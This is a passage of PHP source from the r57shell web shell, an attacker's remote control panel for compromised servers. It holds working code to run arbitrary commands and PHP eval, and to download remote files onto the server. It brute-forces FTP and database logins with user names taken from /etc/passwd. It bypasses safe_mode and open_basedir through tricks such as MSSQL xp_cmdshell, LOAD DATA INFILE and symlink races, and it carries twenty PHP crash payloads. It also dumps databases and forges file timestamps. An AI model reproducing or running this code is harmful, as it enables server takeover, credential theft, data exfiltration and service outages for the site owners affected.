2458$_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
2459break;
2460case 'GET':
2461$_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
2462break;
2463case 'curl':
2464$_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
2465break;
2466}
2467}
2468if(!empty($_POST['cmd']) &&(($_POST['cmd']=="ftp_file_up") ||($_POST['cmd']=="ftp_file_down")))
2469{
2470list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
2471if(empty($ftp_port)) {$ftp_port = 21;}
2472$connection = @ftp_connect ($ftp_server,$ftp_port,10);
2473if(!$connection) {err(3);}
2474else
2475{
2476if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) {err(4);}
2477else
2478{
2479if($_POST['cmd']=="ftp_file_down") {if(chop($_POST['loc_file'])==$dir) {$_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']);}@ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
2480if($_POST['cmd']=="ftp_file_up") {@ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
2481}
2482}
2483@ftp_close($connection);
2484$_POST['cmd'] = "";
2485}
2486if(!empty($_POST['cmd']) &&(($_POST['cmd']=="ftp_brute") ||($_POST['cmd']=="db_brute")))
2487{
2488if($_POST['cmd']=="ftp_brute"){
2489list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
2490if(empty($ftp_port)) {$ftp_port = 21;}
2491$connection = @ftp_connect ($ftp_server,$ftp_port,10);
2492}else if($_POST['cmd']=="db_brute"){
2493$connection = 1;
2494}
2495if(!$connection) {err(3);$_POST['cmd'] = "";}
2496else if(($_POST['brute_method']=='passwd') &&(!$users=get_users('/etc/passwd'))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>";$_POST['cmd'] = "";}
2497else if(($_POST['brute_method']=='dic') &&(!$users=get_users($_POST['dictionary']))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>";$_POST['cmd'] = "";}
2498if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
2499}
2500echo $table_up3;
2501if (empty($_POST['cmd']) &&!$safe_mode &&!$open_basedir) {$_POST['cmd']=(!$unix)?("dir"):("ls -lia");}
2502else if(empty($_POST['cmd']) &&($safe_mode ||$open_basedir)){$_POST['cmd']="safe_dir";}
2503echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
2504if($safe_mode ||$open_basedir)
2505{
2506switch($_POST['cmd'])
2507{
2508case 'safe_dir':
2509$d=@dir($dir);
2510if ($d)
2511{
2512while (false!==($file=$d->read()))
2513{
2514if ($file=="."||$file=="..") continue;
2515@clearstatcache();
2516@list ($dev,$inode,$inodep,$nlink,$uid,$gid,$inodev,$size,$atime,$mtime,$ctime,$bsize) = stat($file);
2517if(!$unix){
2518echo date("d.m.Y H:i",$mtime);
2519if(@is_dir($file)) echo " <DIR> ";else printf("% 7s ",$size);
2520}
2521else{
2522if(@function_exists('posix_getpwuid')){
2523$owner = @posix_getpwuid($uid);
2524$grgid = @posix_getgrgid($gid);
2525}else{$owner['name']=$grgid['name']='';}
2526echo $inode." ";
2527echo perms(@fileperms($file));
2528@printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
2529echo date("d.m.Y H:i ",$mtime);
2530}
2531echo "$file\n";
2532}
2533$d->close();
2534}
2535else if(@function_exists('glob'))
2536{
2537function eh($errno,$errstr,$errfile,$errline)
2538{
2539global $D,$c,$i;
2540preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/",$errstr,$o);
2541if($o){$D[$c] = $o[2];$c++;}
2542}
2543$error_reporting = @ini_get('error_reporting');
2544error_reporting(E_WARNING);
2545@ini_set("display_errors",1);
2546$root = "/";
2547if($dir) $root = $dir;
2548$c = 0;$D = array();
2549@set_error_handler("eh");
2550$chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
2551for($i=0;$i <strlen($chars);$i++)
2552{
2553$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}";
2554$prevD = $D[count($D)-1];
2555@glob($path."*");
2556if($D[count($D)-1] != $prevD)
2557{
2558for($j=0;$j <strlen($chars);$j++)
2559{
2560$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}";
2561$prevD2 = $D[count($D)-1];
2562@glob($path."*");
2563if($D[count($D)-1] != $prevD2)
2564{
2565for($p=0;$p <strlen($chars);$p++)
2566{
2567$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
2568$prevD3 = $D[count($D)-1];
2569@glob($path."*");
2570if($D[count($D)-1] != $prevD3)
2571{
2572for($r=0;$r <strlen($chars);$r++)
2573{
2574$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
2575@glob($path."*");
2576}
2577}
2578}
2579}
2580}
2581}
2582}
2583$D = array_unique($D);
2584foreach($D as $item) echo htmlspecialchars("{$item}")."\r\n";
2585error_reporting($error_reporting);
2586}
2587else echo $lang[$language.'_text29'];
2588break;
2589case 'test1':
2590$ci = @curl_init("file://".$_POST['test1_file']);
2591$cf = @curl_exec($ci);
2592echo htmlspecialchars($cf);
2593break;
2594case 'test2':
2595@include($_POST['test2_file']);
2596break;
2597case 'test3':
2598if(empty($_POST['test3_port'])) {$_POST['test3_port'] = "3306";}
2599$db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
2600if($db)
2601{
2602if(@mysql_select_db($_POST['test3_md'],$db))
2603{
2604@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
2605@mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
2606@mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
2607$r = @mysql_query("SELECT * FROM temp_r57_table");
2608while(($r_sql = @mysql_fetch_array($r))) {echo @htmlspecialchars($r_sql[0])."\r\n";}
2609@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
2610}
2611else echo "[-] ERROR! Can't select database";
2612@mysql_close($db);
2613}
2614else echo "[-] ERROR! Can't connect to mysql server";
2615break;
2616case 'test4':
2617if(empty($_POST['test4_port'])) {$_POST['test4_port'] = "1433";}
2618$db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
2619if($db)
2620{
2621if(@mssql_select_db($_POST['test4_md'],$db))
2622{
2623@mssql_query("drop table r57_temp_table",$db);
2624@mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
2625@mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
2626$res = mssql_query("select * from r57_temp_table",$db);
2627while(($row=@mssql_fetch_row($res)))
2628{
2629echo htmlspecialchars($row[0])."\r\n";
2630}
2631@mssql_query("drop table r57_temp_table",$db);
2632}
2633else echo "[-] ERROR! Can't select database";
2634@mssql_close($db);
2635}
2636else echo "[-] ERROR! Can't connect to MSSQL server";
2637break;
2638case 'test5':
2639$temp=tempnam($dir,"fname");
2640if (@file_exists($temp)) @unlink($temp);
2641$extra = "-C ".$_POST['test5_file']." -X $temp";
2642@mb_send_mail(NULL,NULL,NULL,NULL,$extra);
2643$str = moreread($temp);
2644echo htmlspecialchars($str);
2645@unlink($temp);
2646break;
2647case 'test6':
2648$stream = @imap_open('/etc/passwd',"","");
2649$dir_list = @imap_list($stream,trim($_POST['test6_file']),"*");
2650for ($i = 0;$i <count($dir_list);$i++) echo htmlspecialchars($dir_list[$i])."\r\n";
2651@imap_close($stream);
2652break;
2653case 'test7':
2654$stream = @imap_open($_POST['test7_file'],"","");
2655$str = @imap_body($stream,1);
2656echo htmlspecialchars($str);
2657@imap_close($stream);
2658break;
2659case 'test8':
2660$temp=@tempnam($_POST['test8_file2'],"copytemp");
2661$str = readzlib($_POST['test8_file1'],$temp);
2662echo htmlspecialchars($str);
2663@unlink($temp);
2664break;
2665case 'test9':
2666@ini_restore("safe_mode");
2667@ini_restore("open_basedir");
2668$str = moreread($_POST['test9_file']);
2669echo htmlspecialchars($str);
2670break;
2671case 'test10':
2672@ob_clean();
2673$error_reporting = @ini_get('error_reporting');
2674error_reporting(E_ALL ^E_NOTICE);
2675@ini_set("display_errors",1);
2676$str=fopen($_POST['test10_file'],"r");
2677while(!feof($str)){print htmlspecialchars(fgets($str));}
2678fclose($str);
2679error_reporting($error_reporting);
2680break;
2681case 'test11':
2682@ob_clean();
2683$temp = 'zip://'.$_POST['test11_file'];
2684$str = moreread($temp);
2685echo htmlspecialchars($str);
2686break;
2687case 'test12':
2688@ob_clean();
2689$temp = 'compress.bzip2://'.$_POST['test12_file'];
2690$str = moreread($temp);
2691echo htmlspecialchars($str);
2692break;
2693case 'test13':
2694@error_log($_POST['test13_file1'],3,"php://../../../../../../../../../../../".$_POST['test13_file2']);
2695echo $lang[$language.'_text61'];
2696break;
2697case 'test14':
2698@session_save_path($_POST['test14_file2']."\0;/tmp");
2699@session_start();
2700@$_SESSION[php]=$_POST['test14_file1'];
2701echo $lang[$language.'_text61'];
2702break;
2703case 'test15':
2704@readfile($_POST['test15_file1'],3,"php://../../../../../../../../../../../".$_POST['test15_file2']);
2705echo $lang[$language.'_text61'];
2706break;
2707case 'test16':
2708if (fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
2709break;
2710case 'test17_1':
2711@unlink('symlinkread');
2712@symlink('a/a/a/a/a/a/','dummy');
2713@symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'],'symlinkread');
2714@unlink('dummy');
2715while (1)
2716{
2717@symlink('.','dummy');
2718@unlink('dummy');
2719}
2720break;
2721case 'test17_2':
2722$str='';
2723while (strlen($str) <3) {
2724$temp = 'symlinkread';
2725$str = moreread($temp);
2726if($str){@ob_clean();echo htmlspecialchars($str);}
2727}
2728break;
2729case 'test17_3':
2730$dir = $files = array();
2731if(@version_compare(@phpversion(),"5.0.0")>=0){
2732while (@count($dir) <3) {
2733$dir=@scandir('symlinkread');
2734if (@count($dir) >2) {@ob_clean();@print_r($dir);}
2735}
2736}
2737else {
2738while (@count($files) <3) {
2739$dh = @opendir('symlinkread');
2740while (false !== ($filename = @readdir($dh))) {
2741$files[] = $filename;
2742}
2743if(@count($files) >2){@ob_clean();@print_r($files);}
2744}
2745}
2746break;
2747}
2748}
2749if((!$safe_mode) &&($_POST['cmd']!="php_eval") &&($_POST['cmd']!="mysql_dump") &&($_POST['cmd']!="db_query") &&($_POST['cmd']!="ftp_brute") &&($_POST['cmd']!="db_brute")){
2750$cmd_rep = ex($_POST['cmd']);
2751if(!$unix) {echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n";}
2752else {echo @htmlspecialchars($cmd_rep)."\n";}}
2753switch($_POST['cmd'])
2754{
2755case 'dos1':
2756function a() {a();}a();
2757break;
2758case 'dos2':
2759@pack("d4294967297",2);
2760break;
2761case 'dos3':
2762$a = "a";@unserialize(@str_replace('1',2147483647,@serialize($a)));
2763break;
2764case 'dos4':
2765$t = array(1);while (1) {$a[] = &$t;};
2766break;
2767case 'dos5':
2768@dl("sqlite.so");$db = new SqliteDatabase("foo");
2769break;
2770case 'dos6':
2771preg_match('/(.(?!b))*/',@str_repeat("a",10000));
2772break;
2773case 'dos7':
2774@str_replace("A",str_repeat("B",65535),str_repeat("A",65538));
2775break;
2776case 'dos8':
2777@shell_exec("killall -11 httpd");
2778break;
2779case 'dos9':
2780function cx(){@tempnam("/www/","../../../../../../var/tmp/cx");cx();}cx();
2781break;
2782case 'dos10':
2783$a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
2784break;
2785case 'dos11':
2786@array_fill(1,123456789,"Infigo-IS");
2787break;
2788case 'dos12':
2789@substr_compare("A","A",12345678);
2790break;
2791case 'dos13':
2792@unserialize("a:2147483649:{");
2793break;
2794case 'dos14':
2795$Data = @str_ireplace("\n","<br>",$Data);
2796break;
2797case 'dos15':
2798function toUTF($x) {return chr(($x >>6) +192) .chr(($x &63) +128);}
2799$str1 = "";for($i=0;$i <64;$i++){$str1 .= toUTF(977);}
2800@htmlentities($str1,ENT_NOQUOTES,"UTF-8");
2801break;
2802case 'dos16':
2803$r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r,$e);
2804for ($i=0;$i<1000;$i++) $arr[$i]=array(array(""));
2805unset($arr[600]);@zip_entry_read($e,-1);unset($arr[601]);
2806break;
2807case 'dos17':
2808$z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
2809$y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
2810$x = "AQ ";
2811unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
2812break;
2813case 'dos18':
2814$MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY,0600);
2815if (!@msg_send ($msg_id,1,'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH',false,true,$msg_err))
2816echo "Msg not sent because $msg_err\n";
2817if (@msg_receive ($msg_id,1,$msg_type,0xffffffff,$_SESSION,false,0,$msg_error)) {
2818echo "$msg\n";
2819}else {echo "Received $msg_error fetching message\n";break;}
2820@msg_remove_queue ($msg_id);
2821break;
2822case 'dos19':
2823$url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd";@fopen($url,"r");
2824break;
2825case 'dos20':
2826$hashtable = str_repeat("A",39);
2827$hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
2828$hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
2829$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
2830for ($i=0;$i<65535;$i++) {$str .= 'i:0;R:2;';}
2831$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
2832@unserialize($str);
2833break;
2834}
2835if ($_POST['cmd']=="php_eval"){
2836$eval = @str_replace("<?","",$_POST['php_eval']);
2837$eval = @str_replace("?>","",$eval);
2838@eval($eval);}
2839if ($_POST['cmd']=="ftp_brute")
2840{
2841$suc = 0;
2842if($_POST['brute_method']=='passwd'){
2843foreach($users as $user)
2844{
2845$connection = @ftp_connect($ftp_server,$ftp_port,10);
2846if(@ftp_login($connection,$user,$user)) {echo "[+] $user:$user - success\r\n";$suc++;}
2847else if(isset($_POST['reverse'])) {if(@ftp_login($connection,$user,strrev($user))) {echo "[+] $user:".strrev($user)." - success\r\n";$suc++;}}
2848@ftp_close($connection);
2849}
2850}else if(($_POST['brute_method']=='dic') &&isset($_POST['ftp_login'])){
2851foreach($users as $user)
2852{
2853$connection = @ftp_connect($ftp_server,$ftp_port,10);
2854if(@ftp_login($connection,$_POST['ftp_login'],$user)) {echo "[+] ".$_POST['ftp_login'].":$user - success\r\n";$suc++;}
2855@ftp_close($connection);
2856}
2857}
2858echo "\r\n-------------------------------------\r\n";
2859$count = count($users);
2860if(isset($_POST['reverse']) &&($_POST['brute_method']=='passwd')) {$count *= 2;}
2861echo $lang[$language.'_text97'].$count."\r\n";
2862echo $lang[$language.'_text98'].$suc."\r\n";
2863}
2864if ($_POST['cmd']=="db_brute")
2865{
2866$suc = 0;
2867if($_POST['brute_method']=='passwd'){
2868foreach($users as $user)
2869{
2870$sql = new my_sql();
2871$sql->db = $_POST['db'];
2872$sql->host = $_POST['db_server'];
2873$sql->port = $_POST['db_port'];
2874$sql->user = $user;
2875$sql->pass = $user;
2876if($sql->connect()) {echo "[+] $user:$user - success\r\n";$suc++;}
2877}
2878if(isset($_POST['reverse']))
2879{
2880foreach($users as $user)
2881{
2882$sql = new my_sql();
2883$sql->db = $_POST['db'];
2884$sql->host = $_POST['db_server'];
2885$sql->port = $_POST['db_port'];
2886$sql->user = $user;
2887$sql->pass = strrev($user);
2888if($sql->connect()) {echo "[+] $user:".strrev($user)." - success\r\n";$suc++;}
2889}
2890}
2891}else if(($_POST['brute_method']=='dic') &&isset($_POST['mysql_l'])){
2892foreach($users as $user)
2893{
2894$sql = new my_sql();
2895$sql->db = $_POST['db'];
2896$sql->host = $_POST['db_server'];
2897$sql->port = $_POST['db_port'];
2898$sql->user = $_POST['mysql_l'];
2899$sql->pass = $user;
2900if($sql->connect()) {echo "[+] ".$_POST['mysql_l'].":$user - success\r\n";$suc++;}
2901}
2902}
2903echo "\r\n-------------------------------------\r\n";
2904$count = count($users);
2905if(isset($_POST['reverse']) &&($_POST['brute_method']=='passwd')) {$count *= 2;}
2906echo $lang[$language.'_text97'].$count."\r\n";
2907echo $lang[$language.'_text98'].$suc."\r\n";
2908}
2909if ($_POST['cmd']=="mysql_dump")
2910{
2911if(isset($_POST['dif'])) {$fp = @fopen($_POST['dif_name'],"w");}
2912$sql = new my_sql();
2913$sql->db = $_POST['db'];
2914$sql->host = $_POST['db_server'];
2915$sql->port = $_POST['db_port'];
2916$sql->user = $_POST['mysql_l'];
2917$sql->pass = $_POST['mysql_p'];
2918$sql->base = $_POST['mysql_db'];
2919if(!$sql->connect()) {echo "[-] ERROR! Can't connect to SQL server";}
2920else if(!$sql->select_db()) {echo "[-] ERROR! Can't select database";}
2921else if(!$sql->dump($_POST['mysql_tbl'])) {echo "[-] ERROR! Can't create dump";}
2922else {
2923if(empty($_POST['dif'])) {foreach($sql->dump as $v) echo $v."\r\n";}
2924else if($fp ||@function_exists('file_put_contents')){foreach($sql->dump as $v){@fwrite($fp,$v."\r\n") or @fputs($fp,$v."\r\n") or @file_put_contents($_POST['dif_name'],$v."\r\n");}}
2925else {echo "[-] ERROR! Can't write in dump file";}
2926}
2927}
2928echo "</textarea></div>";
2929echo "</b>";
2930echo "</td></tr></table>";
2931echo "<table width=100% cellpadding=0 cellspacing=0>";
2932function div_title($title,$id)
2933{
2934return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
2935}
2936function div($id)
2937{
2938if(isset($_COOKIE[$id]) &&($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">';
2939$divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38');
2940if(empty($_COOKIE[$id]) &&@in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">';
2941return '<div id="'.$id.'">';
2942}
2943if(!$safe_mode){
2944echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
2945echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
2946echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
2947echo $te.'</div>'.$table_end1.$fe;
2948}
2949else{
2950echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
2951echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
2952echo $te.'</div>'.$table_end1.$fe;
2953}
2954echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
2955echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
2956echo $te.'</div>'.$table_end1.$fe;
2957if($safe_mode ||$open_basedir){
2958echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
2959echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
2960echo $te.'</div>'.$table_end1.$fe;
2961}
2962if($unix &&@function_exists('touch')){
2963echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
2964echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($dir."/r57shell.php")))
2965.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
2966.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
2967echo sr(15,"<b> or set Day".$arrow."</b>",
2968'
2969<select name="day" size="1">
2970<option value="01">1</option>
2971<option value="02">2</option>
2972<option value="03">3</option>
2973<option value="04">4</option>
2974<option value="05">5</option>
2975<option value="06">6</option>
2976<option value="07">7</option>
2977<option value="08">8</option>
2978<option value="09">9</option>
2979<option value="10">10</option>
2980<option value="11">11</option>
2981<option value="12">12</option>
2982<option value="13">13</option>
2983<option value="14">14</option>
2984<option value="15">15</option>
2985<option value="16">16</option>
2986<option value="17">17</option>
2987<option value="18">18</option>
2988<option value="19">19</option>
2989<option value="20">20</option>
2990<option value="21">21</option>
2991<option value="22">22</option>
2992<option value="23">23</option>
2993<option value="24">24</option>
2994<option value="25">25</option>
2995<option value="26">26</option>
2996<option value="27">27</option>
2997<option value="28">28</option>
2998<option value="29">29</option>
2999<option value="30">30</option>
3000<option value="31">31</option>
3001</select>'
3002.ws(4)."<b>Month".$arrow."</b>"
3003.'
3004<select name="month" size="1">
3005<option value="January">January</option>
3006<option value="February">February</option>
3007<option value="March">March</option>
3008<option value="April">April</option>
3009<option value="May">May</option>
3010<option value="June">June</option>
3011<option value="July">July</option>
3012<option value="August">August</option>
3013<option value="September">September</option>
3014<option value="October">October</option>
3015<option value="November">November</option>
3016<option value="December">December</option>
3017</select>'
3018.ws(4)."<b>Year".$arrow."</b>"
3019.'
3020<select name="year" size="1">
3021<option value="1998">1998</option>
3022<option value="1999">1999</option>
3023<option value="2000">2000</option>
3024<option value="2001">2001</option>
3025<option value="2002">2002</option>
3026<option value="2003">2003</option>
3027<option value="2004">2004</option>
3028<option value="2005">2005</option>
3029<option value="2006">2006</option>
3030<option value="2006">2007</option>
3031<option value="2006">2008</option>
3032<option value="2006">2009</option>
3033<option value="2006">2010</option>
3034</select>'
3035.ws(4)."<b>Hour".$arrow."</b>"
3036.'
3037<select name="chasi" size="1">
3038<option value="01">01</option>
3039<option value="02">02</option>
3040<option value="03">03</option>
3041<option value="04">04</option>
3042<option value="05">05</option>
3043<option value="06">06</option>
3044<option value="07">07</option>
3045<option value="08">08</option>
3046<option value="09">09</option>
3047<option value="10">10</option>
3048<option value="11">11</option>
3049<option value="12">12</option>
3050<option value="13">13</option>
3051<option value="14">14</option>
3052<option value="15">15</option>
3053<option value="16">16</option>
3054<option value="17">17</option>
3055<option value="18">18</option>
3056<option value="19">19</option>
3057<option value="20">20</option>
3058<option value="21">21</option>
3059<option value="22">22</option>
3060<option value="23">23</option>
3061<option value="24">24</option>
3062</select>'
3063.ws(4)."<b>Minute".$arrow."</b>"
3064.'
3065<select name="minutes" size="1">
3066<option value="01">1</option>
3067<option value="02">2</option>
3068<option value="03">3</option>
3069<option value="04">4</option>
3070<option value="05">5</option>
3071<option value="06">6</option>
3072<option value="07">7</option>
3073<option value="08">8</option>
3074<option value="09">9</option>
3075<option value="10">10</option>
3076<option value="11">11</option>
3077<option value="12">12</option>
3078<option value="13">13</option>
3079<option value="14">14</option>
3080<option value="15">15</option>
3081<option value="16">16</option>
3082<option value="17">17</option>
3083<option value="18">18</option>
3084<option value="19">19</option>
3085<option value="20">20</option>
3086<option value="21">21</option>
3087<option value="22">22</option>
3088<option value="23">23</option>
3089<option value="24">24</option>
3090<option value="25">25</option>
3091<option value="26">26</option>
3092<option value="27">27</option>
3093<option value="28">28</option>
3094<option value="29">29</option>
3095<option value="30">30</option>
3096<option value="31">31</option>
3097<option value="32">32</option>
3098<option value="33">33</option>
3099<option value="34">34</option>
3100<option value="35">35</option>
3101<option value="36">36</option>
3102<option value="37">37</option>
3103<option value="38">38</option>
3104<option value="39">39</option>
3105<option value="40">40</option>
3106<option value="41">41</option>
3107<option value="42">42</option>
3108<option value="43">43</option>
3109<option value="44">44</option>
3110<option value="45">45</option>
3111<option value="46">46</option>
3112<option value="47">47</option>
3113<option value="48">48</option>
3114<option value="49">49</option>
3115<option value="50">50</option>
3116<option value="51">51</option>
3117<option value="52">52</option>
3118<option value="53">53</option>
3119<option value="54">54</option>
3120<option value="55">55</option>
3121<option value="56">56</option>
3122<option value="57">57</option>
3123<option value="58">58</option>
3124<option value="59">59</option>
3125</select>'
3126.ws(4)."<b>Second".$arrow."</b>"
3127.'
3128<select name="second" size="1">
3129<option value="01">1</option>
3130<option value="02">2</option>
3131<option value="03">3</option>
3132<option value="04">4</option>
3133<option value="05">5</option>
3134<option value="06">6</option>
3135<option value="07">7</option>
3136<option value="08">8</option>
3137<option value="09">9</option>
3138<option value="10">10</option>
3139<option value="11">11</option>
3140<option value="12">12</option>
3141<option value="13">13</option>
3142<option value="14">14</option>
3143<option value="15">15</option>
3144<option value="16">16</option>
3145<option value="17">17</option>
3146<option value="18">18</option>
3147<option value="19">19</option>
3148<option value="20">20</option>
3149<option value="21">21</option>
3150<option value="22">22</option>
3151<option value="23">23</option>
3152<option value="24">24</option>
3153<option value="25">25</option>
3154<option value="26">26</option>
3155<option value="27">27</option>
3156<option value="28">28</option>
3157<option value="29">29</option>
3158<option value="30">30</option>
3159<option value="31">31</option>
3160<option value="32">32</option>
3161<option value="33">33</option>
3162<option value="34">34</option>
3163<option value="35">35</option>
3164<option value="36">36</option>
3165<option value="37">37</option>
3166<option value="38">38</option>
3167<option value="39">39</option>
3168<option value="40">40</option>
3169<option value="41">41</option>
3170<option value="42">42</option>
3171<option value="43">43</option>
3172<option value="44">44</option>
3173<option value="45">45</option>
3174<option value="46">46</option>
3175<option value="47">47</option>
3176<option value="48">48</option>
3177<option value="49">49</option>
3178<option value="50">50</option>
3179<option value="51">51</option>
3180<option value="52">52</option>
3181<option value="53">53</option>
3182<option value="54">54</option>
3183<option value="55">55</option>
3184<option value="56">56</option>
3185<option value="57">57</option>
3186<option value="58">58</option>
3187<option value="59">59</option>
3188</select>'
3189.in('hidden','cmd',0,'touch')
3190.in('hidden','dir',0,$dir)
3191.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
3192echo $te.'</div>'.$table_end1.$fe;
3193}
3194$select='';
3195if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
3196if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
3197if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
3198if($unix &&$select){
3199echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
3200echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($dir."/r57shell.php"))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
3201echo $te.'</div>'.$table_end1.$fe;
3202}
3203if(!$safe_mode){
3204$aliases2 = '';
3205foreach ($aliases as $alias_name=>$alias_cmd)
3206{
3207$aliases2 .= "<option>$alias_name</option>";
3208}
3209echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts;
3210echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
3211echo $te.'</div>'.$table_end1.$fe;
3212}
3213echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts;
3214echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
